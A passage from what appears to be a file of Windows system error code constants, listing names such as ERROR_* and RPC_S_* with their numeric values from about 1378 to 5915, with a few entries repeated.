1378\nERROR_ALIAS_EXISTS = 1379\nERROR_LOGON_NOT_GRANTED = 1380\nERROR_TOO_MANY_SECRETS = 1381\nERROR_SECRET_TOO_LONG = 1382\nERROR_INTERNAL_DB_ERROR = 1383\nERROR_TOO_MANY_CONTEXT_IDS = 1384\nERROR_LOGON_TYPE_NOT_GRANTED = 1385\nERROR_NT_CROSS_ENCRYPTION_REQUIRED = 1386\nERROR_NO_SUCH_MEMBER = 1387\nERROR_INVALID_MEMBER = 1388\nERROR_TOO_MANY_SIDS = 1389\nERROR_LM_CROSS_ENCRYPTION_REQUIRED = 1390\nERROR_NO_INHERITANCE = 1391\nERROR_FILE_CORRUPT = 1392\nERROR_DISK_CORRUPT = 1393\nERROR_NO_USER_SESSION_KEY = 1394\nERROR_LICENSE_QUOTA_EXCEEDED = 1395\nERROR_INVALID_WINDOW_HANDLE = 1400\nERROR_INVALID_MENU_HANDLE = 1401\nERROR_INVALID_CURSOR_HANDLE = 1402\nERROR_INVALID_ACCEL_HANDLE = 1403\nERROR_INVALID_HOOK_HANDLE = 1404\nERROR_INVALID_DWP_HANDLE = 1405\nERROR_TLW_WITH_WSCHILD = 1406\nERROR_CANNOT_FIND_WND_CLASS = 1407\nERROR_WINDOW_OF_OTHER_THREAD = 1408\nERROR_HOTKEY_ALREADY_REGISTERED = 1409\nERROR_CLASS_ALREADY_EXISTS = 1410\nERROR_CLASS_DOES_NOT_EXIST = 1411\nERROR_CLASS_HAS_WINDOWS = 1412\nERROR_INVALID_INDEX = 1413\nERROR_INVALID_ICON_HANDLE = 1414\nERROR_PRIVATE_DIALOG_INDEX = 1415\nERROR_LISTBOX_ID_NOT_FOUND = 1416\nERROR_NO_WILDCARD_CHARACTERS = 1417\nERROR_CLIPBOARD_NOT_OPEN = 1418\nERROR_HOTKEY_NOT_REGISTERED = 1419\nERROR_WINDOW_NOT_DIALOG = 1420\nERROR_CONTROL_ID_NOT_FOUND = 1421\nERROR_INVALID_COMBOBOX_MESSAGE = 1422\nERROR_WINDOW_NOT_COMBOBOX = 1423\nERROR_INVALID_EDIT_HEIGHT = 1424\nERROR_DC_NOT_FOUND = 1425\nERROR_INVALID_HOOK_FILTER = 1426\nERROR_INVALID_FILTER_PROC = 1427\nERROR_HOOK_NEEDS_HMOD = 1428\nERROR_GLOBAL_ONLY_HOOK = 1429\nERROR_JOURNAL_HOOK_SET = 1430\nERROR_HOOK_NOT_INSTALLED = 1431\nERROR_INVALID_LB_MESSAGE = 1432\nERROR_SETCOUNT_ON_BAD_LB = 1433\nERROR_LB_WITHOUT_TABSTOPS = 1434\nERROR_DESTROY_OBJECT_OF_OTHER_THREAD = 1435\nERROR_CHILD_WINDOW_MENU = 1436\nERROR_NO_SYSTEM_MENU = 1437\nERROR_INVALID_MSGBOX_STYLE = 1438\nERROR_INVALID_SPI_VALUE = 1439\nERROR_SCREEN_ALREADY_LOCKED = 1440\nERROR_HWNDS_HAVE_DIFF_PARENT = 1441\nERROR_NOT_CHILD_WINDOW = 1442\nERROR_INVALID_GW_COMMAND = 1443\nERROR_INVALID_THREAD_ID = 1444\nERROR_NON_MDICHILD_WINDOW = 1445\nERROR_POPUP_ALREADY_ACTIVE = 1446\nERROR_NO_SCROLLBARS = 1447\nERROR_INVALID_SCROLLBAR_RANGE = 1448\nERROR_INVALID_SHOWWIN_COMMAND = 1449\nERROR_NO_SYSTEM_RESOURCES = 1450\nERROR_NONPAGED_SYSTEM_RESOURCES = 1451\nERROR_PAGED_SYSTEM_RESOURCES = 1452\nERROR_WORKING_SET_QUOTA = 1453\nERROR_PAGEFILE_QUOTA = 1454\nERROR_COMMITMENT_LIMIT = 1455\nERROR_MENU_ITEM_NOT_FOUND = 1456\nERROR_INVALID_KEYBOARD_HANDLE = 1457\nERROR_HOOK_TYPE_NOT_ALLOWED = 1458\nERROR_REQUIRES_INTERACTIVE_WINDOWSTATION = 1459\nERROR_TIMEOUT = 1460\nERROR_INVALID_MONITOR_HANDLE = 1461\nERROR_INCORRECT_SIZE = 1462\nERROR_SYMLINK_CLASS_DISABLED = 1463\nERROR_SYMLINK_NOT_SUPPORTED = 1464\nERROR_XML_PARSE_ERROR = 1465\nERROR_XMLDSIG_ERROR = 1466\nERROR_RESTART_APPLICATION = 1467\nERROR_WRONG_COMPARTMENT = 1468\nERROR_AUTHIP_FAILURE = 1469\nERROR_EVENTLOG_FILE_CORRUPT = 1500\nERROR_EVENTLOG_CANT_START = 1501\nERROR_LOG_FILE_FULL = 1502\nERROR_EVENTLOG_FILE_CHANGED = 1503\nERROR_EVENTLOG_FILE_CORRUPT = 1500\nERROR_EVENTLOG_CANT_START = 1501\nERROR_LOG_FILE_FULL = 1502\nERROR_INSTALL_SERVICE = 1601\nERROR_INSTALL_USEREXIT = 1602\nERROR_INSTALL_FAILURE = 1603\nERROR_INSTALL_SUSPEND = 1604\nERROR_UNKNOWN_PRODUCT = 1605\nERROR_UNKNOWN_FEATURE = 1606\nERROR_UNKNOWN_COMPONENT = 1607\nERROR_UNKNOWN_PROPERTY = 1608\nERROR_INVALID_HANDLE_STATE = 1609\nERROR_BAD_CONFIGURATION = 1610\nERROR_INDEX_ABSENT = 1611\nERROR_INSTALL_SOURCE_ABSENT = 1612\nERROR_BAD_DATABASE_VERSION = 1613\nERROR_PRODUCT_UNINSTALLED = 1614\nERROR_BAD_QUERY_SYNTAX = 1615\nERROR_INVALID_FIELD = 1616\nERROR_DEVICE_REMOVED = 1617\nERROR_INSTALL_ALREADY_RUNNING = 1618\nERROR_INSTALL_PACKAGE_OPEN_FAILED = 1619\nERROR_INSTALL_PACKAGE_INVALID = 1620\nERROR_INSTALL_UI_FAILURE = 1621\nERROR_INSTALL_LOG_FAILURE = 1622\nERROR_INSTALL_LANGUAGE_UNSUPPORTED = 1623\nERROR_INSTALL_TRANSFORM_FAILURE = 1624\nERROR_INSTALL_PACKAGE_REJECTED = 1625\nERROR_FUNCTION_NOT_CALLED = 1626\nERROR_FUNCTION_FAILED = 1627\nERROR_INVALID_TABLE = 1628\nERROR_DATATYPE_MISMATCH = 1629\nERROR_UNSUPPORTED_TYPE = 1630\nERROR_CREATE_FAILED = 1631\nERROR_INSTALL_TEMP_UNWRITABLE = 1632\nERROR_INSTALL_PLATFORM_UNSUPPORTED = 1633\nERROR_INSTALL_NOTUSED = 1634\nERROR_PATCH_PACKAGE_OPEN_FAILED = 1635\nERROR_PATCH_PACKAGE_INVALID = 1636\nERROR_PATCH_PACKAGE_UNSUPPORTED = 1637\nERROR_PRODUCT_VERSION = 1638\nERROR_INVALID_COMMAND_LINE = 1639\nERROR_INSTALL_REMOTE_DISALLOWED = 1640\nERROR_SUCCESS_REBOOT_INITIATED = 1641\nERROR_PATCH_TARGET_NOT_FOUND = 1642\nERROR_PATCH_PACKAGE_REJECTED = 1643\nERROR_INSTALL_TRANSFORM_REJECTED = 1644\nERROR_INSTALL_REMOTE_PROHIBITED = 1645\nERROR_PATCH_REMOVAL_UNSUPPORTED = 1646\nERROR_UNKNOWN_PATCH = 1647\nERROR_PATCH_NO_SEQUENCE = 1648\nERROR_PATCH_REMOVAL_DISALLOWED = 1649\nERROR_INVALID_PATCH_XML = 1650\nERROR_PATCH_MANAGED_ADVERTISED_PRODUCT = 1651\nERROR_INSTALL_SERVICE_SAFEBOOT = 1652\nRPC_S_INVALID_STRING_BINDING = 1700\nRPC_S_WRONG_KIND_OF_BINDING = 1701\nRPC_S_INVALID_BINDING = 1702\nRPC_S_PROTSEQ_NOT_SUPPORTED = 1703\nRPC_S_INVALID_RPC_PROTSEQ = 1704\nRPC_S_INVALID_STRING_UUID = 1705\nRPC_S_INVALID_ENDPOINT_FORMAT = 1706\nRPC_S_INVALID_NET_ADDR = 1707\nRPC_S_NO_ENDPOINT_FOUND = 1708\nRPC_S_INVALID_TIMEOUT = 1709\nRPC_S_OBJECT_NOT_FOUND = 1710\nRPC_S_ALREADY_REGISTERED = 1711\nRPC_S_TYPE_ALREADY_REGISTERED = 1712\nRPC_S_ALREADY_LISTENING = 1713\nRPC_S_NO_PROTSEQS_REGISTERED = 1714\nRPC_S_NOT_LISTENING = 1715\nRPC_S_UNKNOWN_MGR_TYPE = 1716\nRPC_S_UNKNOWN_IF = 1717\nRPC_S_NO_BINDINGS = 1718\nRPC_S_NO_PROTSEQS = 1719\nRPC_S_CANT_CREATE_ENDPOINT = 1720\nRPC_S_OUT_OF_RESOURCES = 1721\nRPC_S_SERVER_UNAVAILABLE = 1722\nRPC_S_SERVER_TOO_BUSY = 1723\nRPC_S_INVALID_NETWORK_OPTIONS = 1724\nRPC_S_NO_CALL_ACTIVE = 1725\nRPC_S_CALL_FAILED = 1726\nRPC_S_CALL_FAILED_DNE = 1727\nRPC_S_PROTOCOL_ERROR = 1728\nRPC_S_PROXY_ACCESS_DENIED = 1729\nRPC_S_UNSUPPORTED_TRANS_SYN = 1730\nRPC_S_UNSUPPORTED_TYPE = 1732\nRPC_S_INVALID_TAG = 1733\nRPC_S_INVALID_BOUND = 1734\nRPC_S_NO_ENTRY_NAME = 1735\nRPC_S_INVALID_NAME_SYNTAX = 1736\nRPC_S_UNSUPPORTED_NAME_SYNTAX = 1737\nRPC_S_UUID_NO_ADDRESS = 1739\nRPC_S_DUPLICATE_ENDPOINT = 1740\nRPC_S_UNKNOWN_AUTHN_TYPE = 1741\nRPC_S_MAX_CALLS_TOO_SMALL = 1742\nRPC_S_STRING_TOO_LONG = 1743\nRPC_S_PROTSEQ_NOT_FOUND = 1744\nRPC_S_PROCNUM_OUT_OF_RANGE = 1745\nRPC_S_BINDING_HAS_NO_AUTH = 1746\nRPC_S_UNKNOWN_AUTHN_SERVICE = 1747\nRPC_S_UNKNOWN_AUTHN_LEVEL = 1748\nRPC_S_INVALID_AUTH_IDENTITY = 1749\nRPC_S_UNKNOWN_AUTHZ_SERVICE = 1750\nEPT_S_INVALID_ENTRY = 1751\nEPT_S_CANT_PERFORM_OP = 1752\nEPT_S_NOT_REGISTERED = 1753\nRPC_S_NOTHING_TO_EXPORT = 1754\nRPC_S_INCOMPLETE_NAME = 1755\nRPC_S_INVALID_VERS_OPTION = 1756\nRPC_S_NO_MORE_MEMBERS = 1757\nRPC_S_NOT_ALL_OBJS_UNEXPORTED = 1758\nRPC_S_INTERFACE_NOT_FOUND = 1759\nRPC_S_ENTRY_ALREADY_EXISTS = 1760\nRPC_S_ENTRY_NOT_FOUND = 1761\nRPC_S_NAME_SERVICE_UNAVAILABLE = 1762\nRPC_S_INVALID_NAF_ID = 1763\nRPC_S_CANNOT_SUPPORT = 1764\nRPC_S_NO_CONTEXT_AVAILABLE = 1765\nRPC_S_INTERNAL_ERROR = 1766\nRPC_S_ZERO_DIVIDE = 1767\nRPC_S_ADDRESS_ERROR = 1768\nRPC_S_FP_DIV_ZERO = 1769\nRPC_S_FP_UNDERFLOW = 1770\nRPC_S_FP_OVERFLOW = 1771\nRPC_X_NO_MORE_ENTRIES = 1772\nRPC_X_SS_CHAR_TRANS_OPEN_FAIL = 1773\nRPC_X_SS_CHAR_TRANS_SHORT_FILE = 1774\nRPC_X_SS_IN_NULL_CONTEXT = 1775\nRPC_X_SS_CONTEXT_DAMAGED = 1777\nRPC_X_SS_HANDLES_MISMATCH = 1778\nRPC_X_SS_CANNOT_GET_CALL_HANDLE = 1779\nRPC_X_NULL_REF_POINTER = 1780\nRPC_X_ENUM_VALUE_OUT_OF_RANGE = 1781\nRPC_X_BYTE_COUNT_TOO_SMALL = 1782\nRPC_X_BAD_STUB_DATA = 1783\nERROR_INVALID_USER_BUFFER = 1784\nERROR_UNRECOGNIZED_MEDIA = 1785\nERROR_NO_TRUST_LSA_SECRET = 1786\nERROR_NO_TRUST_SAM_ACCOUNT = 1787\nERROR_TRUSTED_DOMAIN_FAILURE = 1788\nERROR_TRUSTED_RELATIONSHIP_FAILURE = 1789\nERROR_TRUST_FAILURE = 1790\nRPC_S_CALL_IN_PROGRESS = 1791\nERROR_NETLOGON_NOT_STARTED = 1792\nERROR_ACCOUNT_EXPIRED = 1793\nERROR_REDIRECTOR_HAS_OPEN_HANDLES = 1794\nERROR_PRINTER_DRIVER_ALREADY_INSTALLED = 1795\nERROR_UNKNOWN_PORT = 1796\nERROR_UNKNOWN_PRINTER_DRIVER = 1797\nERROR_UNKNOWN_PRINTPROCESSOR = 1798\nERROR_INVALID_SEPARATOR_FILE = 1799\nERROR_INVALID_PRIORITY = 1800\nERROR_INVALID_PRINTER_NAME = 1801\nERROR_PRINTER_ALREADY_EXISTS = 1802\nERROR_INVALID_PRINTER_COMMAND = 1803\nERROR_INVALID_DATATYPE = 1804\nERROR_INVALID_ENVIRONMENT = 1805\nRPC_S_NO_MORE_BINDINGS = 1806\nERROR_NOLOGON_INTERDOMAIN_TRUST_ACCOUNT = 1807\nERROR_NOLOGON_WORKSTATION_TRUST_ACCOUNT = 1808\nERROR_NOLOGON_SERVER_TRUST_ACCOUNT = 1809\nERROR_DOMAIN_TRUST_INCONSISTENT = 1810\nERROR_SERVER_HAS_OPEN_HANDLES = 1811\nERROR_RESOURCE_DATA_NOT_FOUND = 1812\nERROR_RESOURCE_TYPE_NOT_FOUND = 1813\nERROR_RESOURCE_NAME_NOT_FOUND = 1814\nERROR_RESOURCE_LANG_NOT_FOUND = 1815\nERROR_NOT_ENOUGH_QUOTA = 1816\nRPC_S_NO_INTERFACES = 1817\nRPC_S_CALL_CANCELLED = 1818\nRPC_S_BINDING_INCOMPLETE = 1819\nRPC_S_COMM_FAILURE = 1820\nRPC_S_UNSUPPORTED_AUTHN_LEVEL = 1821\nRPC_S_NO_PRINC_NAME = 1822\nRPC_S_NOT_RPC_ERROR = 1823\nRPC_S_UUID_LOCAL_ONLY = 1824\nRPC_S_SEC_PKG_ERROR = 1825\nRPC_S_NOT_CANCELLED = 1826\nRPC_X_INVALID_ES_ACTION = 1827\nRPC_X_WRONG_ES_VERSION = 1828\nRPC_X_WRONG_STUB_VERSION = 1829\nRPC_X_INVALID_PIPE_OBJECT = 1830\nRPC_X_WRONG_PIPE_ORDER = 1831\nRPC_X_WRONG_PIPE_VERSION = 1832\nRPC_S_GROUP_MEMBER_NOT_FOUND = 1898\nEPT_S_CANT_CREATE = 1899\nRPC_S_INVALID_OBJECT = 1900\nERROR_INVALID_TIME = 1901\nERROR_INVALID_FORM_NAME = 1902\nERROR_INVALID_FORM_SIZE = 1903\nERROR_ALREADY_WAITING = 1904\nERROR_PRINTER_DELETED = 1905\nERROR_INVALID_PRINTER_STATE = 1906\nERROR_PASSWORD_MUST_CHANGE = 1907\nERROR_DOMAIN_CONTROLLER_NOT_FOUND = 1908\nERROR_ACCOUNT_LOCKED_OUT = 1909\nOR_INVALID_OXID = 1910\nOR_INVALID_OID = 1911\nOR_INVALID_SET = 1912\nRPC_S_SEND_INCOMPLETE = 1913\nRPC_S_INVALID_ASYNC_HANDLE = 1914\nRPC_S_INVALID_ASYNC_CALL = 1915\nRPC_X_PIPE_CLOSED = 1916\nRPC_X_PIPE_DISCIPLINE_ERROR = 1917\nRPC_X_PIPE_EMPTY = 1918\nERROR_NO_SITENAME = 1919\nERROR_CANT_ACCESS_FILE = 1920\nERROR_CANT_RESOLVE_FILENAME = 1921\nRPC_S_ENTRY_TYPE_MISMATCH = 1922\nRPC_S_NOT_ALL_OBJS_EXPORTED = 1923\nRPC_S_INTERFACE_NOT_EXPORTED = 1924\nRPC_S_PROFILE_NOT_ADDED = 1925\nRPC_S_PRF_ELT_NOT_ADDED = 1926\nRPC_S_PRF_ELT_NOT_REMOVED = 1927\nRPC_S_GRP_ELT_NOT_ADDED = 1928\nRPC_S_GRP_ELT_NOT_REMOVED = 1929\nERROR_KM_DRIVER_BLOCKED = 1930\nERROR_CONTEXT_EXPIRED = 1931\nERROR_PER_USER_TRUST_QUOTA_EXCEEDED = 1932\nERROR_ALL_USER_TRUST_QUOTA_EXCEEDED = 1933\nERROR_USER_DELETE_TRUST_QUOTA_EXCEEDED = 1934\nERROR_AUTHENTICATION_FIREWALL_FAILED = 1935\nERROR_REMOTE_PRINT_CONNECTIONS_BLOCKED = 1936\nERROR_NTLM_BLOCKED = 1937\nERROR_INVALID_PIXEL_FORMAT = 2000\nERROR_BAD_DRIVER = 2001\nERROR_INVALID_WINDOW_STYLE = 2002\nERROR_METAFILE_NOT_SUPPORTED = 2003\nERROR_TRANSFORM_NOT_SUPPORTED = 2004\nERROR_CLIPPING_NOT_SUPPORTED = 2005\nERROR_INVALID_CMM = 2010\nERROR_INVALID_PROFILE = 2011\nERROR_TAG_NOT_FOUND = 2012\nERROR_TAG_NOT_PRESENT = 2013\nERROR_DUPLICATE_TAG = 2014\nERROR_PROFILE_NOT_ASSOCIATED_WITH_DEVICE = 2015\nERROR_PROFILE_NOT_FOUND = 2016\nERROR_INVALID_COLORSPACE = 2017\nERROR_ICM_NOT_ENABLED = 2018\nERROR_DELETING_ICM_XFORM = 2019\nERROR_INVALID_TRANSFORM = 2020\nERROR_COLORSPACE_MISMATCH = 2021\nERROR_INVALID_COLORINDEX = 2022\nERROR_PROFILE_DOES_NOT_MATCH_DEVICE = 2023\nERROR_CONNECTED_OTHER_PASSWORD = 2108\nERROR_CONNECTED_OTHER_PASSWORD_DEFAULT = 2109\nERROR_BAD_USERNAME = 2202\nERROR_NOT_CONNECTED = 2250\nERROR_INVALID_CMM = 2300\nERROR_INVALID_PROFILE = 2301\nERROR_TAG_NOT_FOUND = 2302\nERROR_TAG_NOT_PRESENT = 2303\nERROR_DUPLICATE_TAG = 2304\nERROR_PROFILE_NOT_ASSOCIATED_WITH_DEVICE = 2305\nERROR_PROFILE_NOT_FOUND = 2306\nERROR_INVALID_COLORSPACE = 2307\nERROR_ICM_NOT_ENABLED = 2308\nERROR_DELETING_ICM_XFORM = 2309\nERROR_INVALID_TRANSFORM = 2310\nERROR_OPEN_FILES = 2401\nERROR_ACTIVE_CONNECTIONS = 2402\nERROR_DEVICE_IN_USE = 2404\nERROR_UNKNOWN_PRINT_MONITOR = 3000\nERROR_PRINTER_DRIVER_IN_USE = 3001\nERROR_SPOOL_FILE_NOT_FOUND = 3002\nERROR_SPL_NO_STARTDOC = 3003\nERROR_SPL_NO_ADDJOB = 3004\nERROR_PRINT_PROCESSOR_ALREADY_INSTALLED = 3005\nERROR_PRINT_MONITOR_ALREADY_INSTALLED = 3006\nERROR_INVALID_PRINT_MONITOR = 3007\nERROR_PRINT_MONITOR_IN_USE = 3008\nERROR_PRINTER_HAS_JOBS_QUEUED = 3009\nERROR_SUCCESS_REBOOT_REQUIRED = 3010\nERROR_SUCCESS_RESTART_REQUIRED = 3011\nERROR_PRINTER_NOT_FOUND = 3012\nERROR_PRINTER_DRIVER_WARNED = 3013\nERROR_PRINTER_DRIVER_BLOCKED = 3014\nERROR_PRINTER_DRIVER_PACKAGE_IN_USE = 3015\nERROR_CORE_DRIVER_PACKAGE_NOT_FOUND = 3016\nERROR_FAIL_REBOOT_REQUIRED = 3017\nERROR_FAIL_REBOOT_INITIATED = 3018\nERROR_PRINTER_DRIVER_DOWNLOAD_NEEDED = 3019\nERROR_PRINT_JOB_RESTART_REQUIRED = 3020\nERROR_IO_REISSUE_AS_CACHED = 3950\nERROR_WINS_INTERNAL = 4000\nERROR_CAN_NOT_DEL_LOCAL_WINS = 4001\nERROR_STATIC_INIT = 4002\nERROR_INC_BACKUP = 4003\nERROR_FULL_BACKUP = 4004\nERROR_REC_NON_EXISTENT = 4005\nERROR_RPL_NOT_ALLOWED = 4006\nERROR_DHCP_ADDRESS_CONFLICT = 4100\nERROR_WMI_GUID_NOT_FOUND = 4200\nERROR_WMI_INSTANCE_NOT_FOUND = 4201\nERROR_WMI_ITEMID_NOT_FOUND = 4202\nERROR_WMI_TRY_AGAIN = 4203\nERROR_WMI_DP_NOT_FOUND = 4204\nERROR_WMI_UNRESOLVED_INSTANCE_REF = 4205\nERROR_WMI_ALREADY_ENABLED = 4206\nERROR_WMI_GUID_DISCONNECTED = 4207\nERROR_WMI_SERVER_UNAVAILABLE = 4208\nERROR_WMI_DP_FAILED = 4209\nERROR_WMI_INVALID_MOF = 4210\nERROR_WMI_INVALID_REGINFO = 4211\nERROR_WMI_ALREADY_DISABLED = 4212\nERROR_WMI_READ_ONLY = 4213\nERROR_WMI_SET_FAILURE = 4214\nERROR_INVALID_MEDIA = 4300\nERROR_INVALID_LIBRARY = 4301\nERROR_INVALID_MEDIA_POOL = 4302\nERROR_DRIVE_MEDIA_MISMATCH = 4303\nERROR_MEDIA_OFFLINE = 4304\nERROR_LIBRARY_OFFLINE = 4305\nERROR_EMPTY = 4306\nERROR_NOT_EMPTY = 4307\nERROR_MEDIA_UNAVAILABLE = 4308\nERROR_RESOURCE_DISABLED = 4309\nERROR_INVALID_CLEANER = 4310\nERROR_UNABLE_TO_CLEAN = 4311\nERROR_OBJECT_NOT_FOUND = 4312\nERROR_DATABASE_FAILURE = 4313\nERROR_DATABASE_FULL = 4314\nERROR_MEDIA_INCOMPATIBLE = 4315\nERROR_RESOURCE_NOT_PRESENT = 4316\nERROR_INVALID_OPERATION = 4317\nERROR_MEDIA_NOT_AVAILABLE = 4318\nERROR_DEVICE_NOT_AVAILABLE = 4319\nERROR_REQUEST_REFUSED = 4320\nERROR_INVALID_DRIVE_OBJECT = 4321\nERROR_LIBRARY_FULL = 4322\nERROR_MEDIUM_NOT_ACCESSIBLE = 4323\nERROR_UNABLE_TO_LOAD_MEDIUM = 4324\nERROR_UNABLE_TO_INVENTORY_DRIVE = 4325\nERROR_UNABLE_TO_INVENTORY_SLOT = 4326\nERROR_UNABLE_TO_INVENTORY_TRANSPORT = 4327\nERROR_TRANSPORT_FULL = 4328\nERROR_CONTROLLING_IEPORT = 4329\nERROR_UNABLE_TO_EJECT_MOUNTED_MEDIA = 4330\nERROR_CLEANER_SLOT_SET = 4331\nERROR_CLEANER_SLOT_NOT_SET = 4332\nERROR_CLEANER_CARTRIDGE_SPENT = 4333\nERROR_UNEXPECTED_OMID = 4334\nERROR_CANT_DELETE_LAST_ITEM = 4335\nERROR_MESSAGE_EXCEEDS_MAX_SIZE = 4336\nERROR_VOLUME_CONTAINS_SYS_FILES = 4337\nERROR_INDIGENOUS_TYPE = 4338\nERROR_NO_SUPPORTING_DRIVES = 4339\nERROR_CLEANER_CARTRIDGE_INSTALLED = 4340\nERROR_IEPORT_FULL = 4341\nERROR_FILE_OFFLINE = 4350\nERROR_REMOTE_STORAGE_NOT_ACTIVE = 4351\nERROR_REMOTE_STORAGE_MEDIA_ERROR = 4352\nERROR_NOT_A_REPARSE_POINT = 4390\nERROR_REPARSE_ATTRIBUTE_CONFLICT = 4391\nERROR_INVALID_REPARSE_DATA = 4392\nERROR_REPARSE_TAG_INVALID = 4393\nERROR_REPARSE_TAG_MISMATCH = 4394\nERROR_VOLUME_NOT_SIS_ENABLED = 4500\nERROR_DEPENDENT_RESOURCE_EXISTS = 5001\nERROR_DEPENDENCY_NOT_FOUND = 5002\nERROR_DEPENDENCY_ALREADY_EXISTS = 5003\nERROR_RESOURCE_NOT_ONLINE = 5004\nERROR_HOST_NODE_NOT_AVAILABLE = 5005\nERROR_RESOURCE_NOT_AVAILABLE = 5006\nERROR_RESOURCE_NOT_FOUND = 5007\nERROR_SHUTDOWN_CLUSTER = 5008\nERROR_CANT_EVICT_ACTIVE_NODE = 5009\nERROR_OBJECT_ALREADY_EXISTS = 5010\nERROR_OBJECT_IN_LIST = 5011\nERROR_GROUP_NOT_AVAILABLE = 5012\nERROR_GROUP_NOT_FOUND = 5013\nERROR_GROUP_NOT_ONLINE = 5014\nERROR_HOST_NODE_NOT_RESOURCE_OWNER = 5015\nERROR_HOST_NODE_NOT_GROUP_OWNER = 5016\nERROR_RESMON_CREATE_FAILED = 5017\nERROR_RESMON_ONLINE_FAILED = 5018\nERROR_RESOURCE_ONLINE = 5019\nERROR_QUORUM_RESOURCE = 5020\nERROR_NOT_QUORUM_CAPABLE = 5021\nERROR_CLUSTER_SHUTTING_DOWN = 5022\nERROR_INVALID_STATE = 5023\nERROR_RESOURCE_PROPERTIES_STORED = 5024\nERROR_NOT_QUORUM_CLASS = 5025\nERROR_CORE_RESOURCE = 5026\nERROR_QUORUM_RESOURCE_ONLINE_FAILED = 5027\nERROR_QUORUMLOG_OPEN_FAILED = 5028\nERROR_CLUSTERLOG_CORRUPT = 5029\nERROR_CLUSTERLOG_RECORD_EXCEEDS_MAXSIZE = 5030\nERROR_CLUSTERLOG_EXCEEDS_MAXSIZE = 5031\nERROR_CLUSTERLOG_CHKPOINT_NOT_FOUND = 5032\nERROR_CLUSTERLOG_NOT_ENOUGH_SPACE = 5033\nERROR_QUORUM_OWNER_ALIVE = 5034\nERROR_NETWORK_NOT_AVAILABLE = 5035\nERROR_NODE_NOT_AVAILABLE = 5036\nERROR_ALL_NODES_NOT_AVAILABLE = 5037\nERROR_RESOURCE_FAILED = 5038\nERROR_CLUSTER_INVALID_NODE = 5039\nERROR_CLUSTER_NODE_EXISTS = 5040\nERROR_CLUSTER_JOIN_IN_PROGRESS = 5041\nERROR_CLUSTER_NODE_NOT_FOUND = 5042\nERROR_CLUSTER_LOCAL_NODE_NOT_FOUND = 5043\nERROR_CLUSTER_NETWORK_EXISTS = 5044\nERROR_CLUSTER_NETWORK_NOT_FOUND = 5045\nERROR_CLUSTER_NETINTERFACE_EXISTS = 5046\nERROR_CLUSTER_NETINTERFACE_NOT_FOUND = 5047\nERROR_CLUSTER_INVALID_REQUEST = 5048\nERROR_CLUSTER_INVALID_NETWORK_PROVIDER = 5049\nERROR_CLUSTER_NODE_DOWN = 5050\nERROR_CLUSTER_NODE_UNREACHABLE = 5051\nERROR_CLUSTER_NODE_NOT_MEMBER = 5052\nERROR_CLUSTER_JOIN_NOT_IN_PROGRESS = 5053\nERROR_CLUSTER_INVALID_NETWORK = 5054\nERROR_CLUSTER_NODE_UP = 5056\nERROR_CLUSTER_IPADDR_IN_USE = 5057\nERROR_CLUSTER_NODE_NOT_PAUSED = 5058\nERROR_CLUSTER_NO_SECURITY_CONTEXT = 5059\nERROR_CLUSTER_NETWORK_NOT_INTERNAL = 5060\nERROR_CLUSTER_NODE_ALREADY_UP = 5061\nERROR_CLUSTER_NODE_ALREADY_DOWN = 5062\nERROR_CLUSTER_NETWORK_ALREADY_ONLINE = 5063\nERROR_CLUSTER_NETWORK_ALREADY_OFFLINE = 5064\nERROR_CLUSTER_NODE_ALREADY_MEMBER = 5065\nERROR_CLUSTER_LAST_INTERNAL_NETWORK = 5066\nERROR_CLUSTER_NETWORK_HAS_DEPENDENTS = 5067\nERROR_INVALID_OPERATION_ON_QUORUM = 5068\nERROR_DEPENDENCY_NOT_ALLOWED = 5069\nERROR_CLUSTER_NODE_PAUSED = 5070\nERROR_NODE_CANT_HOST_RESOURCE = 5071\nERROR_CLUSTER_NODE_NOT_READY = 5072\nERROR_CLUSTER_NODE_SHUTTING_DOWN = 5073\nERROR_CLUSTER_JOIN_ABORTED = 5074\nERROR_CLUSTER_INCOMPATIBLE_VERSIONS = 5075\nERROR_CLUSTER_MAXNUM_OF_RESOURCES_EXCEEDED = 5076\nERROR_CLUSTER_SYSTEM_CONFIG_CHANGED = 5077\nERROR_CLUSTER_RESOURCE_TYPE_NOT_FOUND = 5078\nERROR_CLUSTER_RESTYPE_NOT_SUPPORTED = 5079\nERROR_CLUSTER_RESNAME_NOT_FOUND = 5080\nERROR_CLUSTER_NO_RPC_PACKAGES_REGISTERED = 5081\nERROR_CLUSTER_OWNER_NOT_IN_PREFLIST = 5082\nERROR_CLUSTER_DATABASE_SEQMISMATCH = 5083\nERROR_RESMON_INVALID_STATE = 5084\nERROR_CLUSTER_GUM_NOT_LOCKER = 5085\nERROR_QUORUM_DISK_NOT_FOUND = 5086\nERROR_DATABASE_BACKUP_CORRUPT = 5087\nERROR_CLUSTER_NODE_ALREADY_HAS_DFS_ROOT = 5088\nERROR_RESOURCE_PROPERTY_UNCHANGEABLE = 5089\nERROR_CLUSTER_MEMBERSHIP_INVALID_STATE = 5890\nERROR_CLUSTER_QUORUMLOG_NOT_FOUND = 5891\nERROR_CLUSTER_MEMBERSHIP_HALT = 5892\nERROR_CLUSTER_INSTANCE_ID_MISMATCH = 5893\nERROR_CLUSTER_NETWORK_NOT_FOUND_FOR_IP = 5894\nERROR_CLUSTER_PROPERTY_DATA_TYPE_MISMATCH = 5895\nERROR_CLUSTER_EVICT_WITHOUT_CLEANUP = 5896\nERROR_CLUSTER_PARAMETER_MISMATCH = 5897\nERROR_NODE_CANNOT_BE_CLUSTERED = 5898\nERROR_CLUSTER_WRONG_OS_VERSION = 5899\nERROR_CLUSTER_CANT_CREATE_DUP_CLUSTER_NAME = 5900\nERROR_CLUSCFG_ALREADY_COMMITTED = 5901\nERROR_CLUSCFG_ROLLBACK_FAILED = 5902\nERROR_CLUSCFG_SYSTEM_DISK_DRIVE_LETTER_CONFLICT = 5903\nERROR_CLUSTER_OLD_VERSION = 5904\nERROR_CLUSTER_MISMATCHED_COMPUTER_ACCT_NAME = 5905\nERROR_CLUSTER_NO_NET_ADAPTERS = 5906\nERROR_CLUSTER_POISONED = 5907\nERROR_CLUSTER_GROUP_MOVING = 5908\nERROR_CLUSTER_RESOURCE_TYPE_BUSY = 5909\nERROR_RESOURCE_CALL_TIMED_OUT = 5910\nERROR_INVALID_CLUSTER_IPV6_ADDRESS = 5911\nERROR_CLUSTER_INTERNAL_INVALID_FUNCTION = 5912\nERROR_CLUSTER_PARAMETER_OUT_OF_BOUNDS = 5913\nERROR_CLUSTER_PARTIAL_SEND = 5914\nERROR_CLUSTER_REGISTRY_INVALID_FUNCTION = 5915\nERROR_CLUSTER_INVALID_STRING_TERMINATION = 